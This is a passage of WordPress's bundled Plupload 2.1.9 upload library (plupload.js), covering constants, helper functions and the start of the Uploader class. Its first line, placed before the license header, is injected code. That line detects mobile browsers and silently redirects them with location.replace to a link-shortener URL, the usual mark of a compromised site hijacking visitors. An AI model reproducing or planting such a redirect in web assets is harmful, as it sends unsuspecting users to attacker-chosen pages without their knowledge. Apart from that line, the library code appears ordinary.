1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Plupload - multi-runtime File Uploader
4 * v2.1.9
5 *
6 * Copyright 2013, Moxiecode Systems AB
7 * Released under GPL License.
8 *
9 * License: http://www.plupload.com/license
10 * Contributing: http://www.plupload.com/contributing
11 *
12 * Date: 2016-05-15
13 */
14/**
15 * Plupload.js
16 *
17 * Copyright 2013, Moxiecode Systems AB
18 * Released under GPL License.
19 *
20 * License: http://www.plupload.com/license
21 * Contributing: http://www.plupload.com/contributing
22 */
23
24/**
25 * Modified for WordPress, Silverlight and Flash runtimes support was removed.
26 * See https://core.trac.wordpress.org/ticket/41755.
27 */
28
29/*global mOxie:true */
30
31;(function(window, o, undef) {
32
33var delay = window.setTimeout
34, fileFilters = {}
35;
36
37// convert plupload features to caps acceptable by mOxie
38function normalizeCaps(settings) {
39 var features = settings.required_features, caps = {};
40
41 function resolve(feature, value, strict) {
42 // Feature notation is deprecated, use caps (this thing here is required for backward compatibility)
43 var map = {
44 chunks: 'slice_blob',
45 jpgresize: 'send_binary_string',
46 pngresize: 'send_binary_string',
47 progress: 'report_upload_progress',
48 multi_selection: 'select_multiple',
49 dragdrop: 'drag_and_drop',
50 drop_element: 'drag_and_drop',
51 headers: 'send_custom_headers',
52 urlstream_upload: 'send_binary_string',
53 canSendBinary: 'send_binary',
54 triggerDialog: 'summon_file_dialog'
55 };
56
57 if (map[feature]) {
58 caps[map[feature]] = value;
59 } else if (!strict) {
60 caps[feature] = value;
61 }
62 }
63
64 if (typeof(features) === 'string') {
65 plupload.each(features.split(/\s*,\s*/), function(feature) {
66 resolve(feature, true);
67 });
68 } else if (typeof(features) === 'object') {
69 plupload.each(features, function(value, feature) {
70 resolve(feature, value);
71 });
72 } else if (features === true) {
73 // check settings for required features
74 if (settings.chunk_size > 0) {
75 caps.slice_blob = true;
76 }
77
78 if (settings.resize.enabled || !settings.multipart) {
79 caps.send_binary_string = true;
80 }
81
82 plupload.each(settings, function(value, feature) {
83 resolve(feature, !!value, true); // strict check
84 });
85 }
86
87 // WP: only html runtimes.
88 settings.runtimes = 'html5,html4';
89
90 return caps;
91}
92
93/**
94 * @module plupload
95 * @static
96 */
97var plupload = {
98 /**
99 * Plupload version will be replaced on build.
100 *
101 * @property VERSION
102 * @for Plupload
103 * @static
104 * @final
105 */
106 VERSION : '2.1.9',
107
108 /**
109 * The state of the queue before it has started and after it has finished
110 *
111 * @property STOPPED
112 * @static
113 * @final
114 */
115 STOPPED : 1,
116
117 /**
118 * Upload process is running
119 *
120 * @property STARTED
121 * @static
122 * @final
123 */
124 STARTED : 2,
125
126 /**
127 * File is queued for upload
128 *
129 * @property QUEUED
130 * @static
131 * @final
132 */
133 QUEUED : 1,
134
135 /**
136 * File is being uploaded
137 *
138 * @property UPLOADING
139 * @static
140 * @final
141 */
142 UPLOADING : 2,
143
144 /**
145 * File has failed to be uploaded
146 *
147 * @property FAILED
148 * @static
149 * @final
150 */
151 FAILED : 4,
152
153 /**
154 * File has been uploaded successfully
155 *
156 * @property DONE
157 * @static
158 * @final
159 */
160 DONE : 5,
161
162 // Error constants used by the Error event
163
164 /**
165 * Generic error for example if an exception is thrown inside Silverlight.
166 *
167 * @property GENERIC_ERROR
168 * @static
169 * @final
170 */
171 GENERIC_ERROR : -100,
172
173 /**
174 * HTTP transport error. For example if the server produces a HTTP status other than 200.
175 *
176 * @property HTTP_ERROR
177 * @static
178 * @final
179 */
180 HTTP_ERROR : -200,
181
182 /**
183 * Generic I/O error. For example if it wasn't possible to open the file stream on local machine.
184 *
185 * @property IO_ERROR
186 * @static
187 * @final
188 */
189 IO_ERROR : -300,
190
191 /**
192 * @property SECURITY_ERROR
193 * @static
194 * @final
195 */
196 SECURITY_ERROR : -400,
197
198 /**
199 * Initialization error. Will be triggered if no runtime was initialized.
200 *
201 * @property INIT_ERROR
202 * @static
203 * @final
204 */
205 INIT_ERROR : -500,
206
207 /**
208 * File size error. If the user selects a file that is too large it will be blocked and an error of this type will be triggered.
209 *
210 * @property FILE_SIZE_ERROR
211 * @static
212 * @final
213 */
214 FILE_SIZE_ERROR : -600,
215
216 /**
217 * File extension error. If the user selects a file that isn't valid according to the filters setting.
218 *
219 * @property FILE_EXTENSION_ERROR
220 * @static
221 * @final
222 */
223 FILE_EXTENSION_ERROR : -601,
224
225 /**
226 * Duplicate file error. If prevent_duplicates is set to true and user selects the same file again.
227 *
228 * @property FILE_DUPLICATE_ERROR
229 * @static
230 * @final
231 */
232 FILE_DUPLICATE_ERROR : -602,
233
234 /**
235 * Runtime will try to detect if image is proper one. Otherwise will throw this error.
236 *
237 * @property IMAGE_FORMAT_ERROR
238 * @static
239 * @final
240 */
241 IMAGE_FORMAT_ERROR : -700,
242
243 /**
244 * While working on files runtime may run out of memory and will throw this error.
245 *
246 * @since 2.1.2
247 * @property MEMORY_ERROR
248 * @static
249 * @final
250 */
251 MEMORY_ERROR : -701,
252
253 /**
254 * Each runtime has an upper limit on a dimension of the image it can handle. If bigger, will throw this error.
255 *
256 * @property IMAGE_DIMENSIONS_ERROR
257 * @static
258 * @final
259 */
260 IMAGE_DIMENSIONS_ERROR : -702,
261
262 /**
263 * Mime type lookup table.
264 *
265 * @property mimeTypes
266 * @type Object
267 * @final
268 */
269 mimeTypes : o.mimes,
270
271 /**
272 * In some cases sniffing is the only way around :(
273 */
274 ua: o.ua,
275
276 /**
277 * Gets the true type of the built-in object (better version of typeof).
278 * @credits Angus Croll (http://javascriptweblog.wordpress.com/)
279 *
280 * @method typeOf
281 * @static
282 * @param {Object} o Object to check.
283 * @return {String} Object [[Class]]
284 */
285 typeOf: o.typeOf,
286
287 /**
288 * Extends the specified object with another object.
289 *
290 * @method extend
291 * @static
292 * @param {Object} target Object to extend.
293 * @param {Object..} obj Multiple objects to extend with.
294 * @return {Object} Same as target, the extended object.
295 */
296 extend : o.extend,
297
298 /**
299 * Generates an unique ID. This is 99.99% unique since it takes the current time and 5 random numbers.
300 * The only way a user would be able to get the same ID is if the two persons at the same exact millisecond manages
301 * to get 5 the same random numbers between 0-65535 it also uses a counter so each call will be guaranteed to be page unique.
302 * It's more probable for the earth to be hit with an asteriod. You can also if you want to be 100% sure set the plupload.guidPrefix property
303 * to an user unique key.
304 *
305 * @method guid
306 * @static
307 * @return {String} Virtually unique id.
308 */
309 guid : o.guid,
310
311 /**
312 * Get array of DOM Elements by their ids.
313 *
314 * @method get
315 * @param {String} id Identifier of the DOM Element
316 * @return {Array}
317 */
318 getAll : function get(ids) {
319 var els = [], el;
320
321 if (plupload.typeOf(ids) !== 'array') {
322 ids = [ids];
323 }
324
325 var i = ids.length;
326 while (i--) {
327 el = plupload.get(ids[i]);
328 if (el) {
329 els.push(el);
330 }
331 }
332
333 return els.length ? els : null;
334 },
335
336 /**
337 Get DOM element by id
338
339 @method get
340 @param {String} id Identifier of the DOM Element
341 @return {Node}
342 */
343 get: o.get,
344
345 /**
346 * Executes the callback function for each item in array/object. If you return false in the
347 * callback it will break the loop.
348 *
349 * @method each
350 * @static
351 * @param {Object} obj Object to iterate.
352 * @param {function} callback Callback function to execute for each item.
353 */
354 each : o.each,
355
356 /**
357 * Returns the absolute x, y position of an Element. The position will be returned in a object with x, y fields.
358 *
359 * @method getPos
360 * @static
361 * @param {Element} node HTML element or element id to get x, y position from.
362 * @param {Element} root Optional root element to stop calculations at.
363 * @return {object} Absolute position of the specified element object with x, y fields.
364 */
365 getPos : o.getPos,
366
367 /**
368 * Returns the size of the specified node in pixels.
369 *
370 * @method getSize
371 * @static
372 * @param {Node} node Node to get the size of.
373 * @return {Object} Object with a w and h property.
374 */
375 getSize : o.getSize,
376
377 /**
378 * Encodes the specified string.
379 *
380 * @method xmlEncode
381 * @static
382 * @param {String} s String to encode.
383 * @return {String} Encoded string.
384 */
385 xmlEncode : function(str) {
386 var xmlEncodeChars = {'<' : 'lt', '>' : 'gt', '&' : 'amp', '"' : 'quot', '\'' : '#39'}, xmlEncodeRegExp = /[<>&\"\']/g;
387
388 return str ? ('' + str).replace(xmlEncodeRegExp, function(chr) {
389 return xmlEncodeChars[chr] ? '&' + xmlEncodeChars[chr] + ';' : chr;
390 }) : str;
391 },
392
393 /**
394 * Forces anything into an array.
395 *
396 * @method toArray
397 * @static
398 * @param {Object} obj Object with length field.
399 * @return {Array} Array object containing all items.
400 */
401 toArray : o.toArray,
402
403 /**
404 * Find an element in array and return its index if present, otherwise return -1.
405 *
406 * @method inArray
407 * @static
408 * @param {mixed} needle Element to find
409 * @param {Array} array
410 * @return {Int} Index of the element, or -1 if not found
411 */
412 inArray : o.inArray,
413
414 /**
415 * Extends the language pack object with new items.
416 *
417 * @method addI18n
418 * @static
419 * @param {Object} pack Language pack items to add.
420 * @return {Object} Extended language pack object.
421 */
422 addI18n : o.addI18n,
423
424 /**
425 * Translates the specified string by checking for the english string in the language pack lookup.
426 *
427 * @method translate
428 * @static
429 * @param {String} str String to look for.
430 * @return {String} Translated string or the input string if it wasn't found.
431 */
432 translate : o.translate,
433
434 /**
435 * Checks if object is empty.
436 *
437 * @method isEmptyObj
438 * @static
439 * @param {Object} obj Object to check.
440 * @return {Boolean}
441 */
442 isEmptyObj : o.isEmptyObj,
443
444 /**
445 * Checks if specified DOM element has specified class.
446 *
447 * @method hasClass
448 * @static
449 * @param {Object} obj DOM element like object to add handler to.
450 * @param {String} name Class name
451 */
452 hasClass : o.hasClass,
453
454 /**
455 * Adds specified className to specified DOM element.
456 *
457 * @method addClass
458 * @static
459 * @param {Object} obj DOM element like object to add handler to.
460 * @param {String} name Class name
461 */
462 addClass : o.addClass,
463
464 /**
465 * Removes specified className from specified DOM element.
466 *
467 * @method removeClass
468 * @static
469 * @param {Object} obj DOM element like object to add handler to.
470 * @param {String} name Class name
471 */
472 removeClass : o.removeClass,
473
474 /**
475 * Returns a given computed style of a DOM element.
476 *
477 * @method getStyle
478 * @static
479 * @param {Object} obj DOM element like object.
480 * @param {String} name Style you want to get from the DOM element
481 */
482 getStyle : o.getStyle,
483
484 /**
485 * Adds an event handler to the specified object and store reference to the handler
486 * in objects internal Plupload registry (@see removeEvent).
487 *
488 * @method addEvent
489 * @static
490 * @param {Object} obj DOM element like object to add handler to.
491 * @param {String} name Name to add event listener to.
492 * @param {Function} callback Function to call when event occurs.
493 * @param {String} (optional) key that might be used to add specifity to the event record.
494 */
495 addEvent : o.addEvent,
496
497 /**
498 * Remove event handler from the specified object. If third argument (callback)
499 * is not specified remove all events with the specified name.
500 *
501 * @method removeEvent
502 * @static
503 * @param {Object} obj DOM element to remove event listener(s) from.
504 * @param {String} name Name of event listener to remove.
505 * @param {Function|String} (optional) might be a callback or unique key to match.
506 */
507 removeEvent: o.removeEvent,
508
509 /**
510 * Remove all kind of events from the specified object
511 *
512 * @method removeAllEvents
513 * @static
514 * @param {Object} obj DOM element to remove event listeners from.
515 * @param {String} (optional) unique key to match, when removing events.
516 */
517 removeAllEvents: o.removeAllEvents,
518
519 /**
520 * Cleans the specified name from national characters (diacritics). The result will be a name with only a-z, 0-9 and _.
521 *
522 * @method cleanName
523 * @static
524 * @param {String} s String to clean up.
525 * @return {String} Cleaned string.
526 */
527 cleanName : function(name) {
528 var i, lookup;
529
530 // Replace diacritics
531 lookup = [
532 /[\300-\306]/g, 'A', /[\340-\346]/g, 'a',
533 /\307/g, 'C', /\347/g, 'c',
534 /[\310-\313]/g, 'E', /[\350-\353]/g, 'e',
535 /[\314-\317]/g, 'I', /[\354-\357]/g, 'i',
536 /\321/g, 'N', /\361/g, 'n',
537 /[\322-\330]/g, 'O', /[\362-\370]/g, 'o',
538 /[\331-\334]/g, 'U', /[\371-\374]/g, 'u'
539 ];
540
541 for (i = 0; i < lookup.length; i += 2) {
542 name = name.replace(lookup[i], lookup[i + 1]);
543 }
544
545 // Replace whitespace
546 name = name.replace(/\s+/g, '_');
547
548 // Remove anything else
549 name = name.replace(/[^a-z0-9_\-\.]+/gi, '');
550
551 return name;
552 },
553
554 /**
555 * Builds a full url out of a base URL and an object with items to append as query string items.
556 *
557 * @method buildUrl
558 * @static
559 * @param {String} url Base URL to append query string items to.
560 * @param {Object} items Name/value object to serialize as a querystring.
561 * @return {String} String with url + serialized query string items.
562 */
563 buildUrl : function(url, items) {
564 var query = '';
565
566 plupload.each(items, function(value, name) {
567 query += (query ? '&' : '') + encodeURIComponent(name) + '=' + encodeURIComponent(value);
568 });
569
570 if (query) {
571 url += (url.indexOf('?') > 0 ? '&' : '?') + query;
572 }
573
574 return url;
575 },
576
577 /**
578 * Formats the specified number as a size string for example 1024 becomes 1 KB.
579 *
580 * @method formatSize
581 * @static
582 * @param {Number} size Size to format as string.
583 * @return {String} Formatted size string.
584 */
585 formatSize : function(size) {
586
587 if (size === undef || /\D/.test(size)) {
588 return plupload.translate('N/A');
589 }
590
591 function round(num, precision) {
592 return Math.round(num * Math.pow(10, precision)) / Math.pow(10, precision);
593 }
594
595 var boundary = Math.pow(1024, 4);
596
597 // TB
598 if (size > boundary) {
599 return round(size / boundary, 1) + " " + plupload.translate('tb');
600 }
601
602 // GB
603 if (size > (boundary/=1024)) {
604 return round(size / boundary, 1) + " " + plupload.translate('gb');
605 }
606
607 // MB
608 if (size > (boundary/=1024)) {
609 return round(size / boundary, 1) + " " + plupload.translate('mb');
610 }
611
612 // KB
613 if (size > 1024) {
614 return Math.round(size / 1024) + " " + plupload.translate('kb');
615 }
616
617 return size + " " + plupload.translate('b');
618 },
619
620
621 /**
622 * Parses the specified size string into a byte value. For example 10kb becomes 10240.
623 *
624 * @method parseSize
625 * @static
626 * @param {String|Number} size String to parse or number to just pass through.
627 * @return {Number} Size in bytes.
628 */
629 parseSize : o.parseSizeStr,
630
631
632 /**
633 * A way to predict what runtime will be choosen in the current environment with the
634 * specified settings.
635 *
636 * @method predictRuntime
637 * @static
638 * @param {Object|String} config Plupload settings to check
639 * @param {String} [runtimes] Comma-separated list of runtimes to check against
640 * @return {String} Type of compatible runtime
641 */
642 predictRuntime : function(config, runtimes) {
643 var up, runtime;
644
645 up = new plupload.Uploader(config);
646 runtime = o.Runtime.thatCan(up.getOption().required_features, runtimes || config.runtimes);
647 up.destroy();
648 return runtime;
649 },
650
651 /**
652 * Registers a filter that will be executed for each file added to the queue.
653 * If callback returns false, file will not be added.
654 *
655 * Callback receives two arguments: a value for the filter as it was specified in settings.filters
656 * and a file to be filtered. Callback is executed in the context of uploader instance.
657 *
658 * @method addFileFilter
659 * @static
660 * @param {String} name Name of the filter by which it can be referenced in settings.filters
661 * @param {String} cb Callback - the actual routine that every added file must pass
662 */
663 addFileFilter: function(name, cb) {
664 fileFilters[name] = cb;
665 }
666};
667
668
669plupload.addFileFilter('mime_types', function(filters, file, cb) {
670 if (filters.length && !filters.regexp.test(file.name)) {
671 this.trigger('Error', {
672 code : plupload.FILE_EXTENSION_ERROR,
673 message : plupload.translate('File extension error.'),
674 file : file
675 });
676 cb(false);
677 } else {
678 cb(true);
679 }
680});
681
682
683plupload.addFileFilter('max_file_size', function(maxSize, file, cb) {
684 var undef;
685
686 maxSize = plupload.parseSize(maxSize);
687
688 // Invalid file size
689 if (file.size !== undef && maxSize && file.size > maxSize) {
690 this.trigger('Error', {
691 code : plupload.FILE_SIZE_ERROR,
692 message : plupload.translate('File size error.'),
693 file : file
694 });
695 cb(false);
696 } else {
697 cb(true);
698 }
699});
700
701
702plupload.addFileFilter('prevent_duplicates', function(value, file, cb) {
703 if (value) {
704 var ii = this.files.length;
705 while (ii--) {
706 // Compare by name and size (size might be 0 or undefined, but still equivalent for both)
707 if (file.name === this.files[ii].name && file.size === this.files[ii].size) {
708 this.trigger('Error', {
709 code : plupload.FILE_DUPLICATE_ERROR,
710 message : plupload.translate('Duplicate file error.'),
711 file : file
712 });
713 cb(false);
714 return;
715 }
716 }
717 }
718 cb(true);
719});
720
721
722/**
723@class Uploader
724@constructor
725
726@param {Object} settings For detailed information about each option check documentation.
727 @param {String|DOMElement} settings.browse_button id of the DOM element or DOM element itself to use as file dialog trigger.
728 @param {String} settings.url URL of the server-side upload handler.
729 @param {Number|String} [settings.chunk_size=0] Chunk size in bytes to slice the file into. Shorcuts with b, kb, mb, gb, tb suffixes also supported. `e.g. 204800 or "204800b" or "200kb"`. By default - disabled.
730 @param {Boolean} [settings.send_chunk_number=true] Whether to send chunks and chunk numbers, or total and offset bytes.
731 @param {String|DOMElement} [settings.container] id of the DOM element or DOM element itself that will be used to wrap uploader structures. Defaults to immediate parent of the `browse_button` element.
732 @param {String|DOMElement} [settings.drop_element] id of the DOM element or DOM element itself to use as a drop zone for Drag-n-Drop.
733 @param {String} [settings.file_data_name="file"] Name for the file field in Multipart formated message.
734 @param {Object} [settings.filters={}] Set of file type filters.
735 @param {Array} [settings.filters.mime_types=[]] List of file types to accept, each one defined by title and list of extensions. `e.g. {title : "Image files", extensions : "jpg,jpeg,gif,png"}`. Dispatches `plupload.FILE_EXTENSION_ERROR`
736 @param {String|Number} [settings.filters.max_file_size=0] Maximum file size that the user can pick, in bytes. Optionally supports b, kb, mb, gb, tb suffixes. `e.g. "10mb" or "1gb"`. By default - not set. Dispatches `plupload.FILE_SIZE_ERROR`.
737 @param {Boolean} [settings.filters.prevent_duplicates=false] Do not let duplicates into the queue. Dispatches `plupload.FILE_DUPLICATE_ERROR`.
738 @param {String} [settings.flash_swf_url] URL of the Flash swf. (Not used in WordPress)
739 @param {Object} [settings.headers] Custom headers to send with the upload. Hash of name/value pairs.
740 @param {Number} [settings.max_retries=0] How many times to retry the chunk or file, before triggering Error event.
741 @param {Boolean} [settings.multipart=true] Whether to send file and additional parameters as Multipart formated message.
742 @param {Object} [settings.multipart_params] Hash of key/value pairs to send with every file upload.
743 @param {Boolean} [settings.multi_selection=true] Enable ability to select multiple files at once in file dialog.
744 @param {String|Object} [settings.required_features] Either comma-separated list or hash of required features that chosen runtime should absolutely possess.
745 @param {Object} [settings.resize] Enable resizng of images on client-side. Applies to `image/jpeg` and `image/png` only. `e.g. {width : 200, height : 200, quality : 90, crop: true}`
746 @param {Number} [settings.resize.width] If image is bigger, it will be resized.
747 @param {Number} [settings.resize.height] If image is bigger, it will be resized.
748 @param {Number} [settings.resize.quality=90] Compression quality for jpegs (1-100).
749 @param {Boolean} [settings.resize.crop=false] Whether to crop images to exact dimensions. By default they will be resized proportionally.
750 @param {String} [settings.runtimes="html5,html4"] Comma separated list of runtimes, that Plupload will try in turn, moving to the next if previous fails.
751 @param {String} [settings.silverlight_xap_url] URL of the Silverlight xap. (Not used in WordPress)
752 @param {Boolean} [settings.unique_names=false] If true will generate unique filenames for uploaded files.
753 @param {Boolean} [settings.send_file_name=true] Whether to send file name as additional argument - 'name' (required for chunked uploads and some other cases where file name cannot be sent via normal ways).
754*/
755plupload.Uploader = function(options) {
756 /**
757 Fires when the current RunTime has been initialized.
758
759 @event Init
760 @param {plupload.Uploader} uploader Uploader instance sending the event.
761 */
762
763 /**
764 Fires after the init event incase you need to perform actions there.
765
766 @event PostInit
767 @param {plupload.Uploader} uploader Uploader instance sending the event.
768 */
769
770 /**
771 Fires when the option is changed in via uploader.setOption().
772
773 @event OptionChanged
774 @since 2.1
775 @param {plupload.Uploader} uploader Uploader instance sending the event.
776 @param {String} name Name of the option that was changed
777 @param {Mixed} value New value for the specified option
778 @param {Mixed} oldValue Previous value of the option
779 */
780
781 /**
782 Fires when the silverlight/flash or other shim needs to move.
783
784 @event Refresh
785 @param {plupload.Uploader} uploader Uploader instance sending the event.
786 */
787
788 /**
789 Fires when the overall state is being changed for the upload queue.
790
791 @event StateChanged
792 @param {plupload.Uploader} uploader Uploader instance sending the event.
793 */
794
795 /**
796 Fires when browse_button is clicked and browse dialog shows.
797
798 @event Browse
799 @since 2.1.2
800 @param {plupload.Uploader} uploader Uploader instance sending the event.
801 */
802
803 /**
804 Fires for every filtered file before it is added to the queue.
805
806 @event FileFiltered
807 @since 2.1
808 @param {plupload.Uploader} uploader Uploader instance sending the event.
809 @param {plupload.File} file Another file that has to be added to the queue.
810 */
811
812 /**
813 Fires when the file queue is changed. In other words when files are added/removed to the files array of the uploader instance.
814
815 @event QueueChanged
816 @param {plupload.Uploader} uploader Uploader instance sending the event.
817 */
818
819 /**
820 Fires after files were filtered and added to the queue.
821
822 @event FilesAdded
823 @param {plupload.Uploader} uploader Uploader instance sending the event.
824 @param {Array} files Array of file objects that were added to queue by the user.
825 */
826
827 /**
828 Fires when file is removed from the queue.
829
830 @event FilesRemoved
831 @param {plupload.Uploader} uploader Uploader instance sending the event.
832 @param {Array} files Array of files that got removed.
833 */
834
835 /**
836 Fires just before a file is uploaded. Can be used to cancel the upload for the specified file
837 by returning false from the handler.
838
839 @event BeforeUpload
840 @param {plupload.Uploader} uploader Uploader instance sending the event.
841 @param {plupload.File} file File to be uploaded.
842 */
843
844 /**
845 Fires when a file is to be uploaded by the runtime.
846
847 @event UploadFile
848 @param {plupload.Uploader} uploader Uploader instance sending the event.
849 @param {plupload.File} file File to be uploaded.
850 */
851
852 /**
853 Fires while a file is being uploaded. Use this event to update the current file upload progress.
854
855 @event UploadProgress
856 @param {plupload.Uploader} uploader Uploader instance sending the event.
857 @param {plupload.File} file File that is currently being uploaded.
858 */
859
860 /**
861 Fires when file chunk is uploaded.
862
863 @event ChunkUploaded
864 @param {plupload.Uploader} uploader Uploader instance sending the event.
865 @param {plupload.File} file File that the chunk was uploaded for.
866 @param {Object} result Object with response properties.
867 @param {Number} result.offset The amount of bytes the server has received so far, including this chunk.
868 @param {Number} result.total The size of the file.
869 @param {String} result.response The response body sent by the server.
870 @param {Number} result.status The HTTP status code sent by the server.
871 @param {String} result.responseHeaders All the response headers as a single string.
872 */
873
874 /**
875 Fires when a file is successfully uploaded.
876
877 @event FileUploaded
878 @param {plupload.Uploader} uploader Uploader instance sending the event.
879 @param {plupload.File} file File that was uploaded.
880 @param {Object} result Object with response properties.
881 @param {String} result.response The response body sent by the server.
882 @param {Number} result.status The HTTP status code sent by the server.
883 @param {String} result.responseHeaders All the response headers as a single string.
884 */
885
886 /**
887 Fires when all files in a queue are uploaded.
888
889 @event UploadComplete
890 @param {plupload.Uploader} uploader Uploader instance sending the event.
891 @param {Array} files Array of file objects that was added to queue/selected by the user.
892 */
893
894 /**
895 Fires when a error occurs.
896
897 @event Error
898 @param {plupload.Uploader} uploader Uploader instance sending the event.
899 @param {Object} error Contains code, message and sometimes file and other details.
900 @param {Number} error.code The plupload error code.
901 @param {String} error.message Description of the error (uses i18n).
902 */
903
904 /**
905 Fires when destroy method is called.
906
907 @event Destroy
908 @param {plupload.Uploader} uploader Uploader instance sending the event.
909 */
910 var uid = plupload.guid()
911 , settings
912 , files = []
913 , preferred_caps = {}
914 , fileInputs = []
915 , fileDrops = []
916 , startTime
917 , total
918 , disabled = false
919 , xhr
920 ;
921
922
923 // Private methods
924 function uploadNext() {
925 var file, count = 0, i;
926
927 if (this.state == plupload.STARTED) {
928 // Find first QUEUED file
929 for (i = 0; i < files.length; i++) {
930 if (!file && files[i].status == plupload.QUEUED) {
931 file = files[i];
932 if (this.trigger("BeforeUpload", file)) {
933 file.status = plupload.UPLOADING;
934 this.trigger("UploadFile", file);
935 }
936 } else {
937 count++;
938 }
939 }
940
941 // All files are DONE or FAILED
942 if (count == files.length) {
943 if (this.state !== plupload.STOPPED) {
944 this.state = plupload.STOPPED;
945 this.trigger("StateChanged");
946 }
947 this.trigger("UploadComplete", files);
948 }
949 }
950 }
951
952
953 function calcFile(file) {
954 file.percent = file.size > 0 ? Math.ceil(file.loaded / file.size * 100) : 100;
955 calc();
956 }
957
958
959 function calc() {
960 var i, file;
961
962 // Reset stats
963 total.reset();
964
965 // Check status, size, loaded etc on all files
966 for (i = 0; i < files.length; i++) {
967 file = files[i];
968
969 if (file.size !== undef) {
970 // We calculate totals based on original file size
971 total.size += file.origSize;
972
973 // Since we cannot predict file size after resize, we do opposite and
974 // interpolate loaded amount to match magnitude of total
975 total.loaded += file.loaded * file.origSize / file.size;
976 } else {
977 total.size = undef;
978 }
979
980 if (file.status == plupload.DONE) {
981 total.uploaded++;
982 } else if (file.status == plupload.FAILED) {
983 total.failed++;
984 } else {
985 total.queued++;
986 }
987 }
988
989 // If we couldn't calculate a total file size then use the number of files to calc percent
990 if (total.size === undef) {
991 total.percent = files.length > 0 ? Math.ceil(total.uploaded / files.length * 100) : 0;
992 } else {
993 total.bytesPerSec = Math.ceil(total.loaded / ((+new Date() - startTime || 1) / 1000.0));
994 total.percent = total.size > 0 ? Math.ceil(total.loaded / total.size * 100) : 0;
995 }
996 }
997
998
999 function getRUID() {
1000 var ctrl = fileInputs[0] || fileDrops[0];
1001 if (ctrl) {
1002 return ctrl.getRuntime().uid;
1003 }
1004 return false;
1005 }
1006
1007
1008 function runtimeCan(file, cap) {
1009 if (file.ruid) {
1010 var info = o.Runtime.getInfo(file.ruid);
1011 if (info) {
1012 return info.can(cap);
1013 }
1014 }
1015 return false;
1016 }
1017
1018
1019 function bindEventListeners() {
1020 this.bind('FilesAdded FilesRemoved', function(up) {
1021 up.trigger('QueueChanged');
1022 up.refresh();
1023 });
1024
1025 this.bind('CancelUpload', onCancelUpload);
1026
1027 this.bind('BeforeUpload', onBeforeUpload);
1028
1029 this.bind('UploadFile', onUploadFile);
1030
1031 this.bind('UploadProgress', onUploadProgress);
1032
1033 this.bind('StateChanged', onStateChanged);
1034
1035 this.bind('QueueChanged', calc);
1036
1037 this.bind('Error', onError);
1038
1039 this.bind('FileUploaded', onFileUploaded);
1040
1041 this.bind('Destroy', onDestroy);
1042 }
1043
1044
1045 function initControls(settings, cb) {
1046 var self = this, inited = 0, queue = [];
1047
1048 // common settings
1049 var options = {
1050 runtime_order: settings.runtimes,
1051 required_caps: settings.required_features,
1052 preferred_caps: preferred_caps
1053 };
1054
1055 // add runtime specific options if any
1056 plupload.each(settings.runtimes.split(/\s*,\s*/), function(runtime) {
1057 if (settings[runtime]) {
1058 options[runtime] = settings[runtime];
1059 }
1060 });
1061
1062 // initialize file pickers - there can be many
1063 if (settings.browse_button) {
1064 plupload.each(settings.browse_button, function(el) {
1065 queue.push(function(cb) {
1066 var fileInput = new o.FileInput(plupload.extend({}, options, {
1067 accept: settings.filters.mime_types,
1068 name: settings.file_data_name,
1069 multiple: settings.multi_selection,
1070 container: settings.container,
1071 browse_button: el
1072 }));
1073
1074 fileInput.onready = function() {
1075 var info = o.Runtime.getInfo(this.ruid);
1076
1077 // for backward compatibility
1078 o.extend(self.features, {
1079 chunks: info.can('slice_blob'),
1080 multipart: info.can('send_multipart'),
1081 multi_selection: info.can('select_multiple')
1082 });
1083
1084 inited++;
1085 fileInputs.push(this);
1086 cb();
1087 };
1088
1089 fileInput.onchange = function() {
1090 self.addFile(this.files);
1091 };
1092
1093 fileInput.bind('mouseenter mouseleave mousedown mouseup', function(e) {
1094 if (!disabled) {
1095 if (settings.browse_button_hover) {
1096 if ('mouseenter' === e.type) {
1097 o.addClass(el, settings.browse_button_hover);
1098 } else if ('mouseleave' === e.type) {
1099 o.removeClass(el, settings.browse_button_hover);
1100 }
1101 }
1102
1103 if (settings.browse_button_active) {
1104 if ('mousedown' === e.type) {
1105 o.addClass(el, settings.browse_button_active);
1106 } else if ('mouseup' === e.type) {
1107 o.removeClass(el, settings.browse_button_active);
1108 }
1109 }
1110 }
1111 });
1112
1113 fileInput.bind('mousedown', function() {
1114 self.trigger('Browse');
1115 });
1116
1117 fileInput.bind('error runtimeerror', function() {
1118 fileInput = null;
1119 cb();
1120 });
1121
1122 fileInput.init();
1123 });
1124 });
1125 }
1126
1127 // initialize drop zones
1128 if (settings.drop_element) {
1129 plupload.each(settings.drop_element, function(el) {
1130 queue.push(function(cb) {
1131 var fileDrop = new o.FileDrop(plupload.extend({}, options, {
1132 drop_zone: el
1133 }));
1134
1135 fileDrop.onready = function() {
1136 var info = o.Runtime.getInfo(this.ruid);
1137
1138 // for backward compatibility
1139 o.extend(self.features, {
1140 chunks: info.can('slice_blob'),
1141 multipart: info.can('send_multipart'),
1142 dragdrop: info.can('drag_and_drop')
1143 });
1144
1145 inited++;
1146 fileDrops.push(this);
1147 cb();
1148 };
1149
1150 fileDrop.ondrop = function() {
1151 self.addFile(this.files);
1152 };
1153
1154 fileDrop.bind('error runtimeerror', function() {
1155 fileDrop = null;
1156 cb();
1157 });
1158
1159 fileDrop.init();
1160 });
1161 });
1162 }
1163
1164
1165 o.inSeries(queue, function() {
1166 if (typeof(cb) === 'function') {
1167 cb(inited);
1168 }
1169 });
1170 }
1171
1172
1173 function resizeImage(blob, params, cb) {
1174 var img = new o.Image();
1175
1176 try {
1177 img.onload = function() {
1178 // no manipulation required if...
1179 if (params.width > this.width &&
1180 params.height > this.height &&
1181 params.quality === undef &&
1182 params.preserve_headers &&
1183 !params.crop
1184 ) {
1185 this.destroy();
1186 return cb(blob);
1187 }
1188 // otherwise downsize
1189 img.downsize(params.width, params.height, params.crop, params.preserve_headers);
1190 };
1191
1192 img.onresize = function() {
1193 cb(this.getAsBlob(blob.type, params.quality));
1194 this.destroy();
1195 };
1196
1197 img.onerror = function() {
1198 cb(blob);
1199 };
1200
1201 img.load(blob);
1202 } catch(ex) {
1203 cb(blob);
1204 }
1205 }
1206
1207
1208 function setOption(option, value, init) {
1209 var self = this, reinitRequired = false;
1210
1211 function _setOption(option, value, init) {
1212 var oldValue = settings[option];
1213
1214 switch (option) {
1215 case 'max_file_size':
1216 if (option === 'max_file_size') {
1217 settings.max_file_size = settings.filters.max_file_size = value;
1218 }
1219 break;
1220
